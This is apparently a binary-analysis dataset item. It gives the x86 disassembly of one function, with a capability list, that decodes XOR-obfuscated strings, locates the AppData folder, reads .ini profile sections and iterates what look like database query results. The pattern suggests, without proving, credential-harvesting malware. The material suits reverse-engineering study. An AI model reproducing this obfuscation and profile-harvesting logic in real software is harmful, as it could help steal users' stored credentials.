Function at 0x43e950
Capabilities:
Authenticate hmac
Create directory
Encode data using xor
Get common file path
Get startup folder
Read .ini file

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x522dd8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x1730
push ebx
call fcn.004f8970
mov eax, ecx
push esi
mov dword [ebp - 0xb0], eax
push edi
mov dword [ebp - 0x18], 0
push 0
mov dword [ebp - 4], 3
call fcn.0047d990
sub esp, 0x10
mov dword [ebp - 0xab], 0x878a8387
mov esi, esp
mov dword [ebp - 0xb4], esp
sub esp, 8
mov word [ebp - 0xa7], 0x8381
xorps xmm0, xmm0
mov byte [ebp - 0x9d], 0
mov edi, 1
movq qword [ebp - 0xa5], xmm0
mov ecx, esp
mov dword [ebp - 0x18], edi
call fcn.0047ccd0
mov ecx, esi
call fcn.0047d960
add esp, 8
mov byte [ebp - 4], 4
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xab], al
inc ecx
cmp ecx, 6
jb 0x43ea00
lea eax, [ebp - 0xab]
mov dword [0x5584f8], ecx
push eax
lea ecx, [ebp - 0x284]
mov byte [ebp - 0xa5], 0
call fcn.00402a50
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x284]
call fcn.00402af0
mov ecx, dword [ebp - 0xb0]
push eax
call fcn.00483b70
mov ecx, eax
mov byte [ebp - 4], 6
call fcn.0047d5e0
lea ecx, [ebp - 0x284]
mov byte [ebp - 4], 3
call fcn.004029b0
push 0x104
lea eax, [ebp - 0x740]
push 0
push eax
call fcn.004f9bf0
add esp, 0xc
lea eax, [ebp - 0x740]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebx + 8]
push eax
lea edx, [ebp - 0x740]
lea ecx, [ebp - 0x338]
call fcn.00483960
add esp, 4
mov byte [ebp - 4], 7
xor ecx, ecx
movaps xmm0, xmmword [0x543f30]
mov dword [ebp - 0x21e], 0x819f9cb7
mov word [ebp - 0x21a], 0x9989
movups xmmword [ebp - 0x218], xmm0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x21e], al
inc ecx
cmp ecx, 0xd
jb 0x43ead0
lea eax, [ebp - 0x21e]
mov dword [0x55852c], ecx
push eax
lea ecx, [ebp - 0x3c8]
mov byte [ebp - 0x211], 0
call fcn.00402a50
lea ecx, [ebp - 0x3c8]
mov byte [ebp - 4], 8
call fcn.00402af0
push eax
lea edx, [ebp - 0x338]
lea ecx, [ebp - 0x320]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x3c8]
mov byte [ebp - 4], 0xa
call fcn.004029b0
lea ecx, [ebp - 0x320]
call fcn.00402af0
push eax
push 0x1000
lea eax, [ebp - 0x1740]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
lea esi, [ebp - 0x1740]
mov dword [ebp - 0xd0], esi
nop dword [eax]
movaps xmm0, xmmword [0x543970]
xor ecx, ecx
movups xmmword [ebp - 0x48], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x48], al
inc ecx
cmp ecx, 7
jb 0x43eb70
lea eax, [ebp - 0x48]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0x284]
mov byte [ebp - 0x41], 0
call fcn.00402a50
or edi, 0x40000
lea ecx, [ebp - 0x284]
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], edi
call fcn.00402af0
push 7
push eax
push esi
call fcn.005051ee
add esp, 0xc
lea ecx, [ebp - 0x284]
mov esi, eax
call fcn.004029b0
test esi, esi
jne 0x440ab0
push 0x104
lea eax, [ebp - 0x638]
push esi
push eax
call fcn.004f9bf0
add esp, 0xc
lea ecx, [ebp - 0x320]
call fcn.00402af0
xorps xmm0, xmm0
mov dword [ebp - 0x14f], 0x86998dbb
mov esi, eax
movq qword [ebp - 0x14b], xmm0
mov byte [ebp - 0x143], 0
xor ecx, ecx
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x14f], al
inc ecx
cmp ecx, 4
jb 0x43ec10
lea eax, [ebp - 0x14f]
mov dword [0x558588], ecx
push eax
lea ecx, [ebp - 0x7c]
mov byte [ebp - 0x14b], 0
call fcn.00402a50
lea ecx, [ebp - 0x7c]
call fcn.00402af0
push esi
push 0x104
lea ecx, [ebp - 0x638]
push ecx
push 0
push eax
push dword [ebp - 0xd0]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0x7c]
call fcn.004029b0
xorps xmm0, xmm0
mov byte [ebp - 0x1d1], 0xb7
movq qword [ebp - 0x1d0], xmm0
xor ecx, ecx
mov byte [ebp - 0x1c8], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1d1], al
inc ecx
cmp ecx, 1
jb 0x43ec84
lea eax, [ebp - 0x1d1]
mov dword [0x5585d0], ecx
push eax
lea ecx, [ebp - 0x7c]
mov byte [ebp - 0x1d0], 0
call fcn.00402a50
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0xb
call fcn.00402af0
push eax
lea edx, [ebp - 0x338]
lea ecx, [ebp - 0x2f8]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x638]
mov byte [ebp - 4], 0xc
push ecx
mov edx, eax
lea ecx, [ebp - 0x26c]
call fcn.00483900
add esp, 4
lea ecx, [ebp - 0x2f8]
call fcn.004029b0
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0xf
call fcn.004029b0
movaps xmm0, xmmword [0x543be0]
xor ecx, ecx
mov dword [ebp - 0x35], 0x898280b7
mov byte [ebp - 0x31], 0x86
movups xmmword [ebp - 0x30], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x35], al
inc ecx
cmp ecx, 0xc
jb 0x43ed20
lea eax, [ebp - 0x35]
mov dword [0x5584d8], ecx
push eax
lea ecx, [ebp - 0x134]
mov byte [ebp - 0x29], 0
call fcn.00402a50
lea ecx, [ebp - 0x134]
mov byte [ebp - 4], 0x10
call fcn.00402af0
push eax
lea edx, [ebp - 0x26c]
lea ecx, [ebp - 0x284]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x134]
mov byte [ebp - 4], 0x12
call fcn.004029b0
xorps xmm0, xmm0
mov word [ebp - 0x1a8], 0x8e99
movq qword [ebp - 0x1a6], xmm0
xor ecx, ecx
mov byte [ebp - 0x19e], 0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1a8], al
inc ecx
cmp ecx, 2
jb 0x43eda0
lea eax, [ebp - 0x1a8]
mov dword [0x558548], ecx
push eax
lea ecx, [ebp - 0x7c]
mov byte [ebp - 0x1a6], 0
call fcn.00402a50
lea ecx, [ebp - 0x7c]
call fcn.00402af0
lea ecx, [ebp - 0x284]
mov esi, eax
call fcn.00402af0
push esi
push eax
call fcn.004fda60
add esp, 8
lea ecx, [ebp - 0x7c]
mov esi, eax
call fcn.004029b0
test esi, esi
jne 0x43f302
movaps xmm0, xmmword [0x543d90]
xor ecx, ecx
mov dword [ebp - 0x62], 0x89849fb7
mov dword [ebp - 0x5e], 0x819f9f81
movups xmmword [ebp - 0x5a], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x62], al
inc ecx
cmp ecx, 0xf
jb 0x43ee20
lea eax, [ebp - 0x62]
mov dword [0x558508], ecx
push eax
lea ecx, [ebp - 0x2ac]
mov byte [ebp - 0x53], 0
call fcn.00402a50
lea ecx, [ebp - 0x2ac]
mov byte [ebp - 4], 0x13
call fcn.00402af0
push eax
lea edx, [ebp - 0x26c]
lea ecx, [ebp - 0x94]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x2ac]
mov byte [ebp - 4], 0x15
call fcn.004029b0
lea ecx, [ebp - 0x94]
call fcn.00402af0
lea edx, [ebp - 0x154]
mov ecx, eax
call fcn.00417ba0
test eax, eax
jne 0x43f2f7
movaps xmm0, xmmword [0x545a10]
xor ecx, ecx
movups xmmword [ebp - 0x38b], xmm0
mov word [ebp - 0x34b], 0x4346
movaps xmm0, xmmword [0x544eb0]
movups xmmword [ebp - 0x37b], xmm0
mov byte [ebp - 0x349], 0x57
movaps xmm0, xmmword [0x544ae0]
movups xmmword [ebp - 0x36b], xmm0
movaps xmm0, xmmword [0x5444b0]
movups xmmword [ebp - 0x35b], xmm0
movaps xmm0, xmmword [str.qC_V__G]
movups xmmword [ebp - 0x348], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x38b], al
inc ecx
cmp ecx, 0x4a
jb 0x43eef2
lea eax, [ebp - 0x38b]
mov dword [0x5585f4], ecx
push eax
lea ecx, [ebp - 0x7c]
mov byte [ebp - 0x341], 0
call fcn.00402a50
lea ecx, [ebp - 0x7c]
call fcn.00402af0
lea ecx, [ebp - 0x7c]
mov esi, eax
call fcn.004029b0
mov ecx, dword [ebp - 0x154]
lea eax, [ebp - 0x98]
push 0
push eax
push 0xffffffffffffffff
mov edx, esi
call fcn.004dd460
add esp, 0xc
test eax, eax
jne 0x43f2ec
mov ecx, dword [ebp - 0x98]
call fcn.004b9b80
cmp eax, 0x64
jne 0x43f2e1
nop dword [eax + eax]
mov edi, dword [ebp - 0x98]
xor edx, edx
mov ecx, edi
call fcn.004ba0c0
mov dl, 1
mov ecx, eax
call fcn.004b69f0
mov ecx, edi
mov esi, eax
call fcn.004ba130
mov edi, dword [ebp - 0x98]
mov edx, 1
mov ecx, edi
mov dword [ebp - 0x158], esi
call fcn.004ba0c0
mov dl, 1
mov ecx, eax
call fcn.004b69f0
mov ecx, edi
mov esi, eax
call fcn.004ba130
mov edi, dword [ebp - 0x98]
mov edx, 2
mov ecx, edi
mov dword [ebp - 0xb4], esi
call fcn.004ba0c0
mov dl, 1
mov ecx, eax
call fcn.004b69f0
mov ecx, edi
mov esi, eax
call fcn.004ba130
mov dword [ebp - 0x254], esi
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x1f0]
push 0
mov byte [ebp - 0x1f8], 0
call fcn.00481590
sub esp, 0x10
mov byte [ebp - 4], 0x17
movaps xmm0, xmmword [0x543960]
lea eax, [ebp - 0x638]
mov ecx, esp
mov dword [ebp - 0x20], esp
movups xmmword [ebp - 0x48], xmm0
push eax
call fcn.00484410
mov byte [ebp - 4], 0x18
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x48], al
inc ecx
cmp ecx, 7
jb 0x43f030
lea eax, [ebp - 0x48]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0x7c]
mov byte [ebp - 0x41], 0
call fcn.00402a50
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0x19
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1f8]
call fcn.00483b70
mov ecx, eax
mov byte [ebp - 4], 0x1a
call fcn.0047d5e0
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0x17
call fcn.004029b0
sub esp, 0x10
mov word [ebp - 0x164], 0x9e9e
lea eax, [ebp - 0x254]
mov dword [ebp - 0x20], esp
xorps xmm0, xmm0
mov byte [ebp - 0x162], 0x81
mov ecx, esp
movq qword [ebp - 0x161], xmm0
push eax
mov byte [ebp - 0x159], 0
call fcn.00484300
mov byte [ebp - 4], 0x1b
xor ecx, ecx
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x164], al
inc ecx
cmp ecx, 3
jb 0x43f0c0
lea eax, [ebp - 0x164]
mov dword [0x558540], ecx
push eax
lea ecx, [ebp - 0x7c]
mov byte [ebp - 0x161], 0
call fcn.00402a50
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0x1c
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1f8]
call fcn.00483b70
mov ecx, eax
mov byte [ebp - 4], 0x1d
call fcn.0047d5e0
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0x17
call fcn.004029b0
sub esp, 0x10
mov dword [ebp - 0x142], 0x878a8387
lea eax, [ebp - 0x158]
mov dword [ebp - 0x20], esp
xorps xmm0, xmm0
mov byte [ebp - 0x13e], 0x81
mov ecx, esp
movq qword [ebp - 0x13d], xmm0
push eax
mov byte [ebp - 0x135], 0
call fcn.00484300
mov byte [ebp - 4], 0x1e
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x142], al
inc ecx
cmp ecx, 5
jb 0x43f160
lea eax, [ebp - 0x142]
mov dword [0x5584f4], ecx
push eax
lea ecx, [ebp - 0x7c]
mov byte [ebp - 0x13d], 0
call fcn.00402a50
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0x1f
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1f8]
call fcn.00483b70
mov ecx, eax
mov byte [ebp - 4], 0x20
call fcn.0047d5e0
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0x17
call fcn.004029b0
movaps xmm0, xmmword [0x543a10]
lea eax, [ebp - 0xb4]
sub esp, 0x10
mov byte [ebp - 0x49], 0x9b
mov ecx, esp
mov dword [ebp - 0x20], esp
movups xmmword [ebp - 0x48], xmm0
push eax
call fcn.00484300
mov byte [ebp - 4], 0x21
xor ecx, ecx
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x49], al
inc ecx
cmp ecx, 8
jb 0x43f1e5
lea eax, [ebp - 0x49]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0x7c]
mov byte [ebp - 0x41], 0
call fcn.00402a50
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0x22
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1f8]
call fcn.00483b70
mov ecx, eax
mov byte [ebp - 4], 0x23
call fcn.0047d5e0
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0x17
call fcn.004029b0
xorps xmm0, xmm0
mov dword [ebp - 0xfb], 0x878a8387
mov word [ebp - 0xf7], 0x8381
xor ecx, ecx
movq qword [ebp - 0xf5], xmm0
mov byte [ebp - 0xed], 0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xfb], al
inc ecx
cmp ecx, 6
jb 0x43f260
lea eax, [ebp - 0xfb]
mov dword [0x5584f8], ecx
push eax
lea ecx, [ebp - 0x7c]
mov byte [ebp - 0xf5], 0
call fcn.00402a50
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0x24
call fcn.00402af0
mov ecx, dword [ebp - 0xb0]
push eax
call fcn.00483b70
lea ecx, [ebp - 0x1f8]
push ecx
mov ecx, eax
call fcn.0047cf60
lea ecx, [ebp - 0x7c]
call fcn.004029b0
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x15
call fcn.0047d5c0
mov ecx, dword [ebp - 0x98]
call fcn.004b9b80
cmp eax, 0x64
je 0x43ef70
mov edi, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x98]
call fcn.004b9a40
mov ecx, dword [ebp - 0x154]
call fcn.00418110
lea ecx, [ebp - 0x94]
jmp 0x440a91
push esi
call fcn.005012e8
sub esp, 0x14
lea eax, [ebp - 0x284]
mov ecx, esp
push eax
call fcn.0047faa0
lea ecx, [ebp - 0x2f8]
call fcn.0040be30
sub esp, 0x10
mov byte [ebp - 4], 0x25
mov eax, esp
lea edx, [ebp - 0x2f8]
lea ecx, [ebp - 0x308]
push 0
push 1
mov dword [eax + 0x24], 0
call fcn.00483da0
add esp, 0x30
mov byte [ebp - 4], 0x26
xorps xmm0, xmm0
mov dword [ebp - 0x10a], 0x878a8387
xor ecx, ecx
mov word [ebp - 0x106], 0x8381
movq qword [ebp - 0x104], xmm0
mov byte [ebp - 0xfc], 0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x10a], al
inc ecx
cmp ecx, 6
jb 0x43f380
lea eax, [ebp - 0x10a]
mov dword [0x5584f8], ecx
push eax
lea ecx, [ebp - 0x94]
mov byte [ebp - 0x104], 0
call fcn.00402a50
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0x27
call fcn.00402af0
push eax
lea ecx, [ebp - 0x308]
call fcn.00483b70
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0x26
mov esi, eax
call fcn.004029b0
push esi
lea ecx, [ebp - 0x294]
call fcn.004811e0
lea ecx, [ebp - 0x294]
call fcn.004811a0
push esi
lea ecx, [ebp - 0x2bc]
call fcn.004811e0
lea ecx, [ebp - 0x2bc]
call fcn.00481170
lea eax, [ebp - 0x2bc]
push eax
lea ecx, [ebp - 0x294]
call fcn.004810b0
test al, al
jne 0x43fc6c
lea ecx, [ebp - 0x294]
call fcn.0047ce00
push eax
lea ecx, [ebp - 0x208]
call fcn.0047d620
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x1e0]
push 0
mov byte [ebp - 0x1e8], 0
call fcn.00481590
sub esp, 0x10
mov byte [ebp - 4], 0x2a
movaps xmm0, xmmword [0x543960]
lea eax, [ebp - 0x638]
mov ecx, esp
mov dword [ebp - 0x20], esp
movups xmmword [ebp - 0x48], xmm0
push eax
call fcn.00484410
mov byte [ebp - 4], 0x2b
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x48], al
inc ecx
cmp ecx, 7
jb 0x43f480
lea eax, [ebp - 0x48]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0x94]
mov byte [ebp - 0x41], 0
call fcn.00402a50
or edi, 0x10000
mov dword [ebp - 0x18], edi
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0x2c
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1e8]
call fcn.00483b70
mov ecx, eax
mov byte [ebp - 4], 0x2d
call fcn.0047d5e0
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0x2a
call fcn.004029b0
movaps xmm0, xmmword [0x544140]
xor ecx, ecx
mov dword [ebp - 0x36], 0x839f838d
mov word [ebp - 0x32], 0x85bc
movups xmmword [ebp - 0x30], xmm0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 0xd
jb 0x43f500
lea eax, [ebp - 0x36]
mov dword [0x55852c], ecx
push eax
lea ecx, [ebp - 0x7c]
mov byte [ebp - 0x29], 0
call fcn.00402a50
or edi, 0x8000
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x7c]
or edi, 2
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], edi
call fcn.00402af0
push eax
lea ecx, [ebp - 0x208]
call fcn.00483b70
cmp byte [eax], 0
je 0x43f5c5
movaps xmm0, xmmword [0x544140]
xor eax, eax
mov dword [ebp - 0x60], 0x839f838d
mov word [ebp - 0x5c], 0x85bc
movups xmmword [ebp - 0x5a], xmm0
nop word [eax + eax]
lea ecx, [eax - 0x15]
xor byte [ebp + eax - 0x60], cl
inc eax
cmp eax, 0xd
jb 0x43f570
mov dword [0x55852c], eax
lea ecx, [ebp - 0x94]
lea eax, [ebp - 0x60]
mov byte [ebp - 0x53], 0
push eax
call fcn.00402a50
mov dword [ebp - 4], 0x2f
lea ecx, [ebp - 0x94]
or edi, 4
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], edi
call fcn.00402af0
push eax
lea ecx, [ebp - 0x208]
call fcn.00483b70
mov byte [ebp - 0x11], 1
cmp byte [eax], 3
je 0x43f5c9
mov byte [ebp - 0x11], 0
mov eax, dword [ebp - 0x1c]
test al, 4
je 0x43f5e7
and eax, 0xfffffffb
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
call fcn.004029b0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 4], 0x2a
test al, 2
je 0x43f603
and eax, 0xfffffffd
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
call fcn.004029b0
xor ecx, ecx
cmp byte [ebp - 0x11], cl
je 0x43f6f4
movaps xmm0, xmmword [0x544140]
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x36], 0x839f838d
xorps xmm0, xmm0
mov word [ebp - 0x32], 0x85bc
mov word [ebp - 0x170], 0x9e9e
mov byte [ebp - 0x16e], 0x81
movq qword [ebp - 0x16d], xmm0
mov byte [ebp - 0x165], cl
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 0xd
jb 0x43f647
lea eax, [ebp - 0x36]
mov dword [0x55852c], ecx
push eax
lea ecx, [ebp - 0x7c]
mov byte [ebp - 0x29], 0
call fcn.00402a50
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0x30
call fcn.00402af0
sub esp, 0x10
lea ecx, [ebp - 0x208]
mov esi, esp
mov dword [ebp - 0x20], esp
push eax
call fcn.00483b70
push eax
mov ecx, esi
call fcn.0047d620
mov byte [ebp - 4], 0x31
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x170], al
inc ecx
cmp ecx, 3
jb 0x43f6a0
lea eax, [ebp - 0x170]
mov dword [0x558540], ecx
push eax
lea ecx, [ebp - 0x94]
mov byte [ebp - 0x16d], 0
call fcn.00402a50
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0x32
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1e8]
call fcn.00483b70
mov byte [ebp - 4], 0x33
jmp 0x43f7cf
movaps xmm0, xmmword [0x543b50]
movups xmmword [ebp - 0x48], xmm0
mov byte [ebp - 0x49], 0x83
xorps xmm0, xmm0
mov word [ebp - 0x17c], 0x9e9e
mov byte [ebp - 0x17a], 0x81
movq qword [ebp - 0x179], xmm0
mov byte [ebp - 0x171], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x49], al
inc ecx
cmp ecx, 8
jb 0x43f725
lea eax, [ebp - 0x49]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0x7c]
mov byte [ebp - 0x41], 0
call fcn.00402a50
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0x34
call fcn.00402af0
sub esp, 0x10
lea ecx, [ebp - 0x208]
mov esi, esp
mov dword [ebp - 0x20], esp
push eax
call fcn.00483b70
push eax
mov ecx, esi
call fcn.0047d620
mov byte [ebp - 4], 0x35
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x17c], al
inc ecx
cmp ecx, 3
jb 0x43f780
lea eax, [ebp - 0x17c]
mov dword [0x558540], ecx
push eax
lea ecx, [ebp - 0x94]
mov byte [ebp - 0x179], 0
call fcn.00402a50
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0x36
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1e8]
call fcn.00483b70
mov byte [ebp - 4], 0x37
mov ecx, eax
call fcn.0047d5e0
lea ecx, [ebp - 0x94]
call fcn.004029b0
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0x2a
call fcn.004029b0
movaps xmm0, xmmword [0x545760]
xor ecx, ecx
movups xmmword [ebp - 0xec], xmm0
mov byte [ebp - 0xdc], 0x9e
xorps xmm0, xmm0
mov byte [ebp - 0xd3], 0
movq qword [ebp - 0xdb], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xec], al
inc ecx
cmp ecx, 0x11
jb 0x43f820
lea eax, [ebp - 0xec]
mov dword [0x5585e4], ecx
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 0xdb], 0
call fcn.00402a50
mov edi, dword [ebp - 0x1c]
or edi, 0x4000
mov dword [ebp - 0x18], edi
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x38
call fcn.00402af0
push eax
lea ecx, [ebp - 0x208]
call fcn.00483b70
mov esi, eax
lea ecx, [ebp - 0x134]
mov byte [ebp - 4], 0x39
call fcn.00402ac0
or edi, 0x80
lea edx, [ebp - 0x134]
mov ecx, esi
mov dword [ebp - 0x18], edi
call fcn.00493790
movaps xmm0, xmmword [0x544040]
xor ecx, ecx
mov byte [ebp - 0x49], 0xae
movups xmmword [ebp - 0x48], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x49], al
inc ecx
cmp ecx, 8
jb 0x43f8b0
lea eax, [ebp - 0x49]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0x7c]
mov byte [ebp - 0x41], 0
call fcn.00402a50
or edi, 0x100
mov dword [ebp - 0x18], edi
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0x3a
call fcn.00402af0
lea ecx, [ebp - 0x134]
mov dword [ebp - 0xaa], 0x878a8387
xorps xmm0, xmm0
mov byte [ebp - 0xa6], 0x81
push ecx
mov edx, eax
movq qword [ebp - 0xa5], xmm0
lea ecx, [ebp - 0xcc]
mov byte [ebp - 0x9d], 0
call fcn.004839c0
sub esp, 0xc
mov byte [ebp - 4], 0x3b
mov ecx, esp
mov dword [ebp - 0x20], esp
push eax
call fcn.004843a0
mov byte [ebp - 4], 0x3c
xor ecx, ecx
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xaa], al
inc ecx
cmp ecx, 5
jb 0x43f940
lea eax, [ebp - 0xaa]
mov dword [0x5584f4], ecx
push eax
lea ecx, [ebp - 0x94]
mov byte [ebp - 0xa5], 0
call fcn.00402a50
or edi, 0x400
mov dword [ebp - 0x18], edi
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0x3d
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1e8]
call fcn.00483b70
mov ecx, eax
mov byte [ebp - 4], 0x3e
call fcn.0047d5e0
lea ecx, [ebp - 0x94]
call fcn.004029b0
lea ecx, [ebp - 0xcc]
call fcn.004029b0
lea ecx, [ebp - 0x7c]
call fcn.004029b0
and edi, 0xffffff7f
lea ecx, [ebp - 0x134]
mov dword [ebp - 0x18], edi
call fcn.004029b0
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x2a
call fcn.004029b0
movaps xmm0, xmmword [0x545050]
xor ecx, ecx
movups xmmword [ebp - 0xec], xmm0
mov byte [ebp - 0xdc], 0x9f
xorps xmm0, xmm0
mov byte [ebp - 0xd3], 0
movq qword [ebp - 0xdb], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xec], al
inc ecx
cmp ecx, 0x11
jb 0x43fa10
lea eax, [ebp - 0xec]
mov dword [0x5585e4], ecx
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 0xdb], 0
call fcn.00402a50
or edi, 0x40
mov dword [ebp - 0x18], edi
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x3f
call fcn.00402af0
push eax
lea ecx, [ebp - 0x208]
call fcn.00483b70
mov esi, eax
lea ecx, [ebp - 0x134]
mov byte [ebp - 4], 0x40
call fcn.00402ac0
or edi, 0x20
lea edx, [ebp - 0x134]
mov ecx, esi
mov dword [ebp - 0x18], edi
call fcn.00493790
movaps xmm0, xmmword [0x544040]
xor ecx, ecx
mov byte [ebp - 0x49], 0xae
movups xmmword [ebp - 0x48], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x49], al
inc ecx
cmp ecx, 8
jb 0x43fa90
lea eax, [ebp - 0x49]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0x7c]
mov byte [ebp - 0x41], 0
call fcn.00402a50
or edi, 0x2000
mov dword [ebp - 0x18], edi
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0x41
call fcn.00402af0
movaps xmm0, xmmword [0x543a10]
lea ecx, [ebp - 0x134]
push ecx
mov edx, eax
mov byte [ebp - 0x5b], 0x9b
lea ecx, [ebp - 0xcc]
movups xmmword [ebp - 0x5a], xmm0
call fcn.004839c0
sub esp, 0xc
mov byte [ebp - 4], 0x42
mov ecx, esp
mov dword [ebp - 0x20], esp
push eax
call fcn.004843a0
mov byte [ebp - 4], 0x43
xor ecx, ecx
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x5b], al
inc ecx
cmp ecx, 8
jb 0x43fb04
lea eax, [ebp - 0x5b]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0x94]
mov byte [ebp - 0x53], 0
call fcn.00402a50
or edi, 0x800
mov dword [ebp - 0x18], edi
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0x44
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1e8]
call fcn.00483b70
mov ecx, eax
mov byte [ebp - 4], 0x45
call fcn.0047d5e0
lea ecx, [ebp - 0x94]
call fcn.004029b0
lea ecx, [ebp - 0xcc]
call fcn.004029b0
lea ecx, [ebp - 0x7c]
call fcn.004029b0
and edi, 0xffffffdf
lea ecx, [ebp - 0x134]
mov dword [ebp - 0x18], edi
call fcn.004029b0
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x2a
call fcn.004029b0
xorps xmm0, xmm0
mov dword [ebp - 0x119], 0x878a8387
mov word [ebp - 0x115], 0x8381
xor ecx, ecx
movq qword [ebp - 0x113], xmm0
mov byte [ebp - 0x10b], 0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x119], al
inc ecx
cmp ecx, 6
jb 0x43fbc0
lea eax, [ebp - 0x119]
mov dword [0x5584f8], ecx
push eax
lea ecx, [ebp - 0x94]
mov byte [ebp - 0x113], 0
call fcn.00402a50
or edi, 0x20000
